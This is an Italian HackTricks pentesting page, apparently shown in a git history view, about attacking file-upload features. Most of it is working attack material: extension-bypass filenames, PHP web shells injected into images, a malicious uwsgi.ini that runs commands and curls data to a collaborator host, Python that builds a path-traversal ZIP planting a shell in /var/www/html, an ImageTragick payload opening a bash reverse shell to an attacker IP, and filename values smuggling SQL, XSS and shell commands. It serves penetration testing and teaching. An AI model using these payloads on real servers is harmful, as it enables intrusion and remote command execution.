hacktricks/pentesting-web/file-upload/README.md

349 lines
27 KiB
Markdown
Raw Normal View History

# Caricamento file
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2024-01-01 17:15:10 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
2024-02-10 13:03:23 +00:00
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-04-30 20:31:18 +00:00
Se sei interessato alla **carriera di hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
2022-04-30 20:31:18 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-30 20:31:18 +00:00
## Metodologia generale di caricamento file
2020-10-15 13:16:06 +00:00
2024-02-10 13:03:23 +00:00
Altre estensioni utili:
2021-01-28 13:23:35 +00:00
2022-10-16 23:16:14 +00:00
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
2024-02-10 13:03:23 +00:00
* **Lavorando in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
2021-02-11 00:14:31 +00:00
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
2021-01-28 13:23:35 +00:00
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
2021-02-11 00:14:31 +00:00
* **Flash**: _.swf_
* **Perl**: _.pl, .cgi_
* **Erlang Yaws Web Server**: _.yaws_
2021-01-28 13:23:35 +00:00
### Bypass dei controlli sulle estensioni dei file
2024-02-10 13:03:23 +00:00
1. Se applicano, **controllare** le **estensioni precedenti**. Testarle anche utilizzando alcune **lettere maiuscole**: _pHp, .pHP5, .PhAr ..._
2. _Controllare **aggiungendo un'estensione valida prima** dell'estensione di esecuzione (usare anche le estensioni precedenti):_
2024-02-10 13:03:23 +00:00
* _file.png.php_
* _file.png.Php5_
3. Provare ad aggiungere **caratteri speciali alla fine**. Potresti utilizzare Burp per **forzare** tutti i caratteri **ascii** e **Unicode**. (_Nota che puoi anche provare a utilizzare le **estensioni precedentemente** menzionate_)
2024-02-10 13:03:23 +00:00
* _file.php%20_
* _file.php%0a_
* _file.php%00_
* _file.php%0d%0a_
* _file.php/_
* _file.php.\\_
* _file._
* _file.php...._
* _file.pHp5...._
4. Provare a bypassare le protezioni **ingannando il parser delle estensioni** lato server con tecniche come **raddoppiare** l'estensione o **aggiungere dati spazzatura** (byte **null**) tra le estensioni. _Puoi anche usare le **estensioni precedenti** per preparare un payload migliore._
2024-02-10 13:03:23 +00:00
* _file.png.php_
* _file.png.pHp5_
* _file.php#.png_
* _file.php%00.png_
* _file.php\x00.png_
* _file.php%0a.png_
* _file.php%0d%0a.png_
* _file.phpJunk123png_
5. Aggiungere **un'altra serie di estensioni** al controllo precedente:
2024-02-10 13:03:23 +00:00
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
6. Provare a mettere l'estensione **exec prima dell'estensione valida** e sperare che il server sia configurato in modo errato. (utile per sfruttare le errate configurazioni di Apache dove qualsiasi cosa con estensione\*\* _**.php**_**, ma** non necessariamente terminante in .php\*\* eseguirà il codice):
2024-02-10 13:03:23 +00:00
* _es: file.php.png_
7. Utilizzare **NTFS alternate data stream (ADS)** in **Windows**. In questo caso, verrà inserito un carattere due punti ":" dopo un'estensione vietata e prima di una consentita. Di conseguenza, verrà creato un **file vuoto con l'estensione vietata** sul server (ad es. "file.asax:.jpg"). Questo file potrebbe essere modificato successivamente utilizzando altre tecniche come l'utilizzo del suo nome breve. Il modello “**::$data**” può anche essere utilizzato per creare file non vuoti. Pertanto, aggiungere un punto dopo questo modello potrebbe essere utile per aggirare ulteriori restrizioni (ad es. “file.asp::$data.”)
8. Provare a superare i limiti del nome del file. L'estensione valida viene troncata. E il PHP dannoso viene lasciato. AAA<--SNIP-->AAA.php
2021-01-28 13:23:35 +00:00
2024-02-10 13:03:23 +00:00
```
# Linux massimo 255 byte
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # meno 4 qui e aggiungendo .png
# Carica il file e controlla la risposta quante caratteri permette. Diciamo 236
2024-02-10 13:03:23 +00:00
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Crea il payload
2024-02-10 13:03:23 +00:00
AAA<--SNIP 232 A-->AAA.php.png
```
2022-10-24 09:15:22 +00:00
### Bypass Content-Type, Magic Number, Compression & Resizing
2022-10-24 09:11:39 +00:00
* Ignora i controlli sul **Content-Type** impostando il **valore** dell'**header Content-Type** a: _image/png_, _text/plain_, _application/octet-stream_
1. **Wordlist Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* Ignora il controllo del **magic number** aggiungendo all'inizio del file i **byte di un'immagine reale** (confondere il comando _file_). Oppure introduci il **shell** all'interno dei **metadati**:\
2024-02-10 13:03:23 +00:00
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
Oppure potresti anche **inserire direttamente il payload** in un'immagine:\
2024-02-10 13:03:23 +00:00
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* Se viene aggiunta **compressione alla tua immagine**, ad esempio utilizzando alcune librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, potresti utilizzare il **chunk PLTE** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
2024-02-10 13:03:23 +00:00
* [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* La pagina web potrebbe anche **ridimensionare** l'**immagine**, utilizzando ad esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, potresti utilizzare il **chunk IDAT** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
2024-02-10 13:03:23 +00:00
* [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, utilizzando la funzione PHP-GD `thumbnailImage`. Tuttavia, potresti utilizzare il **chunk tEXt** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
2024-02-10 13:03:23 +00:00
* [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Altri trucchi da verificare
* Trova una vulnerabilità per **rinominare** il file già caricato (per cambiare l'estensione).
* Trova una vulnerabilità di **Inclusione di File Locale** per eseguire il backdoor.
2024-02-10 13:03:23 +00:00
* **Possibile divulgazione di informazioni**:
1. Carica **più volte** (e allo **stesso tempo**) lo **stesso file** con lo **stesso nome**
2024-02-10 13:03:23 +00:00
2. Carica un file con il **nome** di un **file** o **cartella** che **esiste già**
3. Carica un file con **“.”, “..”, o “…” come nome**. Ad esempio, in Apache in **Windows**, se l'applicazione salva i file caricati nella directory “/www/uploads/”, il nome del file “.” creerà un file chiamato “uploads” nella directory “/www/”.
2024-02-10 13:03:23 +00:00
4. Carica un file che potrebbe non essere eliminato facilmente come **“…:.jpg”** in **NTFS**. (Windows)
5. Carica un file in **Windows** con **caratteri non validi** come `|<>*?”` nel nome. (Windows)
6. Carica un file in **Windows** utilizzando **nomi riservati** (**proibiti**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 e LPT9.
* Prova anche a **caricare un eseguibile** (.exe) o un **.html** (meno sospetto) che **eseguirà del codice** quando aperto accidentalmente dalla vittima.
2024-02-10 13:03:23 +00:00
### Trucchi speciali sull'estensione
2024-02-10 13:03:23 +00:00
Se stai cercando di caricare file su un **server PHP**, [dai un'occhiata al trucco del file **.htaccess per eseguire il codice**](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Se stai cercando di caricare file su un **server ASP**, [dai un'occhiata al trucco del file **.config per eseguire il codice**](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
2024-02-10 13:03:23 +00:00
I file `.phar` sono come i file `.jar` per Java, ma per PHP, e possono essere **usati come un file PHP** (eseguendolo con PHP o includendolo all'interno di uno script...)
2024-02-10 13:03:23 +00:00
L'estensione `.inc` viene talvolta utilizzata per i file PHP che vengono utilizzati solo per **importare file**, quindi, a un certo punto, qualcuno potrebbe aver permesso **l'esecuzione di questa estensione**.
2020-10-15 13:16:06 +00:00
2022-08-04 20:47:35 +00:00
## **Jetty RCE**
Se puoi caricare un file XML su un server Jetty, puoi ottenere [RCE perché i **nuovi \*.xml e \*.war vengono elaborati automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Quindi, come indicato nell'immagine seguente, carica il file XML in `$JETTY_BASE/webapps/` e aspettati la shell!
2022-08-04 20:47:35 +00:00
2024-02-05 20:00:40 +00:00
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>)
2022-08-04 20:47:35 +00:00
2023-03-02 09:08:19 +00:00
## **uWSGI RCE**
Per una dettagliata esplorazione di questa vulnerabilità, controlla la ricerca originale: [Sfruttamento di uWSGI RCE](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
2024-02-05 20:00:40 +00:00
Le vulnerabilità di Esecuzione di Comandi Remoti (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI utilizzano una sintassi specifica per incorporare variabili "magiche", segnaposti e operatori. In particolare, l'operatore '@', utilizzato come `@(filename)`, è progettato per includere il contenuto di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi malintenzionati come l'Esecuzione di Comandi Remoti o la Scrittura/Lettura Arbitraria di File quando un file di configurazione `.ini` viene elaborato.
2023-03-02 09:08:19 +00:00
Considera il seguente esempio di un dannoso file `uwsgi.ini`, che mostra vari schemi:
2023-03-02 09:08:19 +00:00
```ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
2023-03-05 10:15:19 +00:00
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
2023-03-02 09:08:19 +00:00
; call a function returning a char *
characters = @(call://uwsgi_func)
```
L'esecuzione del payload avviene durante l'analisi del file di configurazione. Per attivare e analizzare la configurazione, il processo uWSGI deve essere riavviato (potenzialmente dopo un arresto anomalo o a causa di un attacco di negazione del servizio) oppure il file deve essere impostato per il ricaricamento automatico. La funzionalità di ricaricamento automatico, se abilitata, ricarica il file a intervalli specificati alla rilevazione di modifiche.
2023-03-02 09:08:19 +00:00
È cruciale comprendere la natura permissiva dell'analisi del file di configurazione di uWSGI. In particolare, il payload discusso può essere inserito in un file binario (come un'immagine o un PDF), ampliando ulteriormente il campo delle potenziali vulnerabilità.
2023-03-02 09:08:19 +00:00
## **Trucco di caricamento file/SSRF di wget**
2020-10-15 13:16:06 +00:00
In alcune occasioni potresti scoprire che un server sta utilizzando **`wget`** per **scaricare file** e puoi **indicare** l'**URL**. In questi casi, il codice potrebbe verificare che l'estensione dei file scaricati sia all'interno di una whitelist per garantire che vengano scaricati solo file consentiti. Tuttavia, **questo controllo può essere eluso.**\
La **lunghezza massima** di un **nome file** in **Linux** è **255**, tuttavia, **wget** tronca i nomi file a **236** caratteri. Puoi **scaricare un file chiamato "A"\*232+".php"+".gif"**, questo nome file **eluderà** il **controllo** (come in questo esempio **".gif"** è un'estensione **valida**) ma `wget` rinominerà il file in **"A"\*232+".php"**.
2020-10-15 13:16:06 +00:00
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
```
```bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php
2024-02-10 13:03:23 +00:00
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-10-15 13:16:06 +00:00
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Nota che **un'altra opzione** a cui potresti pensare per eludere questo controllo è far sì che il **server HTTP reindirizzi a un file diverso**, in modo che l'URL iniziale eluda il controllo e wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget venga utilizzato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**.
2024-02-10 13:03:23 +00:00
## Strumenti
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) è un potente strumento progettato per assistere Pentester e Bug Hunter nel testare i meccanismi di caricamento file. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle applicazioni web.
## Dal caricamento file ad altre vulnerabilità
2020-10-15 13:16:06 +00:00
* Imposta il **nome file** su `../../../tmp/lol.png` e cerca di ottenere una **traversata di directory**
* Imposta il **nome file** su `sleep(10)-- -.jpg` e potresti riuscire a ottenere un'**iniezione SQL**
* Imposta il **nome file** su `<svg onload=alert(document.domain)>` per ottenere un XSS
* Imposta il **nome file** su `; sleep 10;` per testare alcune iniezioni di comando (più [trucchi di iniezione di comandi qui](../command-injection.md))
* [**XSS** in caricamento file immagine (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
* Caricamento file **JS** + **XSS** = [sfruttamento dei **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE in caricamento svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Redirect aperto** tramite caricamento file svg](../open-redirect.md#open-redirect-uploading-svg-files)
* Prova **diversi payload svg** da [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
* [Famosa vulnerabilità **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Se riesci a **indicare al server web di acquisire un'immagine da un URL** potresti provare ad abusare di un [SSRF](../ssrf-server-side-request-forgery/). Se questa **immagine** verrà **salvata** in un sito **pubblico**, potresti anche indicare un URL da [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **rubare informazioni da ogni visitatore**.
* [**XXE e CORS** bypass con caricamento PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
* PDF appositamente creati per XSS: La [pagina seguente mostra come **iniettare dati PDF per ottenere l'esecuzione di JS**](../xss-cross-site-scripting/pdf-injection.md). Se puoi caricare PDF, potresti preparare alcuni PDF che eseguiranno JS arbitrario seguendo le indicazioni fornite.
* Carica il \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenuto per verificare se il server dispone di un **antivirus**
* Verifica se c'è un **limite di dimensione** per il caricamento dei file
2020-10-15 13:16:06 +00:00
Ecco una lista dei primi 10 obiettivi che puoi raggiungere tramite il caricamento (da [qui](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
2020-10-15 13:16:06 +00:00
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
3. **GIF**: Stored XSS / SSRF
2024-02-10 13:03:23 +00:00
4. **CSV**: Iniezione CSV
2020-10-15 13:16:06 +00:00
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : Iniezione HTML / XSS / Redirect aperto
8. **PNG / JPEG**: Attacco di inondazione di pixel (DoS)
2024-02-10 13:03:23 +00:00
9. **ZIP**: RCE tramite LFI / DoS
2020-10-15 13:16:06 +00:00
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Estensione Burp
{% embed url="https://github.com/portswigger/upload-scanner" %}
2022-05-01 16:32:23 +00:00
## Magic Header Bytes
2021-04-17 15:03:24 +00:00
* **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
* **JPG**: `"\xff\xd8\xff"`
2024-02-10 13:03:23 +00:00
Fai riferimento a [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) per altri tipi di file.
### Caricamento automatico file Zip/Tar decompressi
2020-10-15 13:16:06 +00:00
2024-02-10 13:03:23 +00:00
Se puoi caricare un file ZIP che verrà decompresso all'interno del server, puoi fare 2 cose:
2020-10-15 13:16:06 +00:00
2022-05-01 13:25:53 +00:00
#### Symlink
2020-10-15 13:16:06 +00:00
2024-02-10 13:03:23 +00:00
Carica un collegamento contenente collegamenti simbolici ad altri file, quindi, accedendo ai file decompressi, accederai ai file collegati:
```
2020-10-15 13:16:06 +00:00
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
2021-12-05 18:16:27 +00:00
tar -cvf test.tar symindex.txt
2020-10-15 13:16:06 +00:00
```
### Decomprimere in cartelle diverse
2020-10-15 13:16:06 +00:00
La creazione inaspettata di file nelle directory durante la decompressione è un problema significativo. Nonostante le ipotesi iniziali che questa configurazione potesse proteggere dall'esecuzione di comandi a livello di sistema operativo tramite caricamenti di file dannosi, il supporto alla compressione gerarchica e le capacità di attraversamento delle directory del formato di archivio ZIP possono essere sfruttati. Ciò consente agli attaccanti di eludere le restrizioni e di uscire dalle directory di caricamento sicure manipolando la funzionalità di decompressione dell'applicazione presa di mira.
2020-10-15 13:16:06 +00:00
Un exploit automatizzato per creare tali file è disponibile su [**evilarc su GitHub**](https://github.com/ptoomey3/evilarc). L'utilità può essere utilizzata come segue:
2020-10-15 13:16:06 +00:00
```python
2024-02-05 20:00:40 +00:00
# Listing available options
2021-12-05 18:16:27 +00:00
python2 evilarc.py -h
2024-02-05 20:00:40 +00:00
# Creating a malicious archive
2021-12-05 18:16:27 +00:00
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
2020-10-15 13:16:06 +00:00
```
Inoltre, l'**inganno del symlink con evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, dovrebbe essere creato un symlink a tale file nel tuo sistema. Ciò garantisce che evilarc non incontri errori durante la sua operazione.
2020-10-15 13:16:06 +00:00
2024-02-10 13:03:23 +00:00
Di seguito è riportato un esempio di codice Python utilizzato per creare un file zip maligno:
2020-10-15 13:16:06 +00:00
```python
#!/usr/bin/python
import zipfile
from io import BytesIO
2020-10-15 13:16:06 +00:00
def create_zip():
2024-02-10 13:03:23 +00:00
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
2020-10-15 13:16:06 +00:00
```
**Abuso della compressione per lo spraying di file**
2020-10-15 13:16:06 +00:00
2024-02-10 13:03:23 +00:00
Per ulteriori dettagli **controlla il post originale su**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
2020-10-15 13:16:06 +00:00
1. **Creazione di una Shell PHP**: Il codice PHP è scritto per eseguire comandi passati attraverso la variabile `$_REQUEST`.
2020-10-15 13:16:06 +00:00
2024-02-10 13:03:23 +00:00
```php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
```
2. **Spraying di File e Creazione di File Compressi**: Vengono creati file multipli e viene assemblato un archivio zip contenente questi file.
2020-10-15 13:16:06 +00:00
2024-02-10 13:03:23 +00:00
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modifica con un Editor Esadecimale o vi**: I nomi dei file all'interno dello zip vengono modificati utilizzando vi o un editor esadecimale, cambiando "xxA" in "../" per attraversare le directory.
2020-10-15 13:16:06 +00:00
2024-02-10 13:03:23 +00:00
```bash
:set modifiable
:%s/xxA/..\//g
:x!
```
2020-10-15 13:16:06 +00:00
2022-05-01 16:32:23 +00:00
## ImageTragic
2020-10-15 13:16:06 +00:00
Carica questo contenuto con un'estensione di immagine per sfruttare la vulnerabilità **(ImageMagick, 7.0.1-1)** (dal [exploit](https://www.exploit-db.com/exploits/39767))
```
2020-10-15 13:16:06 +00:00
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Incorporazione di PHP Shell su PNG
2020-10-15 13:16:06 +00:00
L'incorporazione di una shell PHP nel chunk IDAT di un file PNG può bypassare efficacemente determinate operazioni di elaborazione delle immagini. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, poiché sono comunemente utilizzate per ridimensionare e campionare le immagini, rispettivamente. La capacità della shell PHP incorporata di rimanere indenne da queste operazioni è un vantaggio significativo per determinati casi d'uso.
2024-02-05 20:00:40 +00:00
Una dettagliata esplorazione di questa tecnica, inclusa la sua metodologia e le sue potenziali applicazioni, è fornita nell'articolo seguente: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione completa del processo e delle sue implicazioni.
2020-10-15 13:16:06 +00:00
2024-02-10 13:03:23 +00:00
Ulteriori informazioni su: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
2020-10-15 13:16:06 +00:00
## File Poliglotti
2020-10-15 13:16:06 +00:00
I file poliglotti fungono da strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente contemporaneamente in più formati di file. Un esempio intrigante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF che come archivio RAR. Tali file non si limitano a questa combinazione; sono anche possibili combinazioni come GIF e JS o PPT e JS.
2020-10-15 13:16:06 +00:00
L'utilità principale dei file poliglotti risiede nella loro capacità di eludere le misure di sicurezza che controllano i file in base al tipo. La pratica comune in varie applicazioni prevede di permettere solo determinati tipi di file per il caricamento, come JPEG, GIF o DOC, per mitigare il rischio rappresentato da formati potenzialmente dannosi (ad esempio, file JS, PHP o Phar). Tuttavia, un poliglotta, conformandosi ai criteri strutturali di più tipi di file, può eludere stealthily queste restrizioni.
2020-10-15 13:16:06 +00:00
Nonostante la loro adattabilità, i poliglotti incontrano delle limitazioni. Ad esempio, mentre un poliglotta potrebbe incarnare contemporaneamente un file PHAR (PHp ARchive) e un JPEG, il successo del suo caricamento potrebbe dipendere dalle politiche sull'estensione dei file della piattaforma. Se il sistema è rigoroso riguardo alle estensioni consentite, la mera dualità strutturale di un poliglotta potrebbe non essere sufficiente a garantirne il caricamento.
2020-10-15 13:16:06 +00:00
2024-02-10 13:03:23 +00:00
Ulteriori informazioni su: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
## Riferimenti
2024-02-05 20:00:40 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
* [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
* [https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider)
* [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
